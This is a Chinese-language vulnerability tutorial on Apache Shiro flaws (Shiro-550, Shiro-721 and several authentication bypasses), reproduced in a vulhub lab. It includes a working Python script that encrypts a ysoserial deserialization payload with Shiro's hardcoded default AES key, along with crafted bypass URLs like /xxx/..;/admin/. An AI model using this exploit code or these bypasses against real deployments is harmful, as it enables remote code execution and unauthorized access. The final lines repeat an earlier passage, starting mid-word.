Shiro-550 反序列化漏洞(CVE-2016-4437)
CVE-2016-4437
shiro时apache的java安全框架,用于执行身份验证、授权、密码和会话管理
使用shiro易于理解的API(程序接口),可以快速轻松对应用程序进行保护
环境搭建
基于vulhub靶场
开启
docker run -itd -p 8080:8080 vulhub/shiro:1.2.4
关闭容器
docker container stop id
删除容器
docker container rm id
进入容器
docker exec -it id /bin/bash
漏洞原理
shiro-550 主要是由 shiro 的 rememberMe 内容反序列化导致的命令执行漏洞,造成的原因是默认加密密钥是硬编码在 shiro 源码中,任何有权访问源代码的人都可以知道默认加密密钥。于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为 cookie 的 rememberMe 字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。
特征: cookie中含有rememberMe字段
漏洞复现
启动靶场环境
访问ip:8080点击RememberMe选项
从返回包中发现有rememberMe=deleteMe;字样,可以大致确定配置有shiro
- 因为shiro本身功能就是一个身份验证管理,一般在登录口可以看到
手工测试
下载ysoserial.jar包
payload生成代码(python3)
import sys
import uuid
import base64
from Crypto.Cipher import AES
def encode_rememberme():
f = open('poc.ser','rb')
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(f.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme()
print("rememberMe={0}".format(payload.decode()))
使用ysoserial.jar生成CommonsBeanutils1的Gadget:
- java -jar ysoserial-master.jar CommonsBeanutils1 “touch /tmp/success” > poc.ser
生成payload
替换
自动化工具
Shiro-721 反序列化漏洞(CVE-2019-12422)
在shiro漏洞修复后,将AES密钥改成了动态生成
也就是说对于每个cookie,都是使用不同的密钥进行加解密
漏洞原理
由于apache shiro cookie中通过AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过padding oracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行
影响版本:apache shiro < 1.4.2
漏洞流程
- 登录网站获取合法cookie
- 使用rememberMe字段进行padding oracle attack,获取intermediary
- 利用intermediary构造出恶意的反序列化密文作为cookie
- 使用新的cookie请求网站执行攻击
AES-128-CBC
属于 AES 加密算法的 CBC 模式,使用 128 位数据块为一组进行加密解密,即 16 字节明文,对应 16 字节密文,,明文加密时,如果数据不够 16 字节,则会将数据补全剩余字节
- 若最后剩余的明文不够 16 字节,需要进行填充,通常采用 PKCS7 进行填充。比如最后缺 3 个字节,则填充 3 个字节的 0x03; 若最后缺 10 个字节,则填充 10 个字节的 0x0a;
- 若明文正好是 16 个字节的整数倍,最后要再加入一个 16 字节 0x10 的组再进行加密
Padding Oracle Attack 原理
Padding Oracle 攻击可以在没有密钥的情况下加密或解密密文
Shiro Padding Oracle Attack(Shiro 填充 Oracle 攻击)是一种针对 Apache Shiro 身份验证框架的安全漏洞攻击。Apache Shiro 是 Java 应用程序中广泛使用的身份验证和授权框架,用于管理用户会话、权限验证等功能。
Padding Oracle Attack(填充 Oracle 攻击)是一种针对加密算法使用填充的安全漏洞攻击。在加密通信中,填充用于将明文数据扩展到加密算法块大小的倍数。在此攻击中,攻击者利用填充的响应信息来推断出加密算法中的秘密信息。
Shiro Padding Oracle Attack 利用了 Shiro 框架中的身份验证过程中的一个漏洞,该漏洞允许攻击者通过填充信息的不同响应时间来确定身份验证过程中的错误。通过不断尝试不同的填充方式,攻击者可以逐步推断出加密秘钥,并最终获取访问权限。
这种攻击利用了填充错误的身份验证响应来获取关于秘密信息的信息泄漏,然后根据这些信息进行进一步的攻击。为了防止 Shiro Padding Oracle Attack,建议及时更新 Apache Shiro 版本,确保已修复该漏洞,并采取其他安全措施,如使用安全的加密算法和密钥管理策略。
Shiro 认证绕过漏洞(CVE-2020-1957)
漏洞原理
漏洞原因:没有对我们输入的路径进行标准化处理
在 Apache Shiro 1.5.2 以前的版本中,在使用 Spring 动态控制器时,攻击者通过构造 ..;
这样的跳转,可以绕过 Shiro 中对目录的权限限制。
URL 请求过程:
- 客户端请求 URL:
/xxx/..;/admin/
- Shrio 内部处理得到校验 URL 为
/xxxx/..
, 校验通过 - SpringBoot 处理
/xxx/..;/admin/
, 最终请求/admin/
, 成功访问了后台请求。
Shiro 身份验证绕过 (CVE-2020-13933)
漏洞简介
CVE-2020-11989 的修复补丁存在缺陷,在 1.5.3 及其之前的版本,由于 shiro 在处理 url 时与 spring 仍然存在差异,依然存在身份校验绕过漏洞由于处理身份验证请求时出错,远程攻击者可以发送特制的 HTTP 请求,绕过身份验证过程并获得对应用程序的未授权访问。
该漏洞产生的原因主要是 shiro
层在处理 url
上和 spring
上存在差异,主要是在处理 ;
上的问题,通过构造含有 ;
符号的 url
即可绕过 shiro
在权限上的处理,而 spring
不负责权限管控,所以最终会导致权限绕过。 ant
风格的路径仅出现一个 *
时才能成功,而 **
无法绕过, *
:匹配一个或者多个任意的字符。
*
:匹配零个或者多个目录。
Shiro 授权绕过 (CVE-2022-32532)
漏洞简介
Apache Shiro 是一个强大且易用的 Java 安全框架,执行身份验证、授权、密码和会话管理。
1.9.1 之前的 Apache Shiro,RegexRequestMatcher 可能被错误配置为在某些 servlet 容器上被绕过。在正则表达式中使用带有 .
的 RegExPatternMatcher 的应用程序可能容易受到授权绕过。
漏洞概述
2022 年 6 月 29 日,Apache 官方披露 Apache Shiro 权限绕过漏洞 (CVE-2022-32532),当 Apache Shiro 中使用 RegexRequestMatcher 进行权限配置,且正则表达式中携带 “.” 时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证。
shiro550和shiro721区别
shiro只需要通过碰撞key,爆破出密钥,就可以进行利用
shiro的AES加密的key一般情况下猜不到,是系统生成,并且当存在有效的用户信息时才进入下一阶段的流程所以我们需要使用登录后的rememberMe cookie,才可以进行下一步攻击
判断相关的Web站点是否使⽤了shiro框架
- rememberme
可以在cookie追加一个rememberme=xx字段,这个字段是rememberMeMangager默认的,然后看响应头部可以看看是否有
set-cookie:rememberMe=daleteMe;
则可判断使用了shiro框架
- 相关cms
一些cms本身就是基于shiro进⾏开发的,例如jeesite、 jeecg、 …
误区
e追加一个rememberme=xx字段,这个字段是rememberMeMangager默认的,然后看响应头部可以看看是否有
set-cookie:rememberMe=daleteMe;
则可判断使用了shiro框架
- 相关cms
一些cms本身就是基于shiro进⾏开发的,例如jeesite、 jeecg、 …
误区
高版本的shiro也会存在反序列化漏洞,只要其使用了固定密钥,都有可能存在